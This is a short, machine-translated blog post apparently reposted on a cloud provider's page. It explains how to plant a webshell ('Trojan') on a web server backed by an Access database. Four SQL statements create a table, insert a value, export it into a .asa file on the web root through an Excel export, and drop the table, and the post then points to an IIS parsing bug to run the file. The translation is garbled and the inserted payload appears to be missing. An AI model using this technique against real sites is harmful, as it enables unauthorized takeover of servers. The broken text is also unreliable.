ACCESS: Execute the SQL command to export a SHELL statement.

Source: Internet
Author: User

It's hard to go to the background and find out what to upload. Backup, too.

Webshell cannot be obtained. Later I reviewed the source code. There is

File. This function is not displayed in the background. Enter the file name directly, and the command execution option is displayed,

Then I tried the following command to export a Trojan. I did not expect it to succeed. The command is as follows:

1. create table cmd (a varchar (50 ))

2. insert into cmd (a) values ('')

3. select * into [a] in 'C: www.tmdsb.commdsb.asa).xls ''excel 4.0;' from cmd
(Export the content of the cmd table as an EXCEL file in the physical path)

4. drop table cmd

You can use the iis bug to get the WEBSHELL.

FRom: semi-pitfall farmer S Blog

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.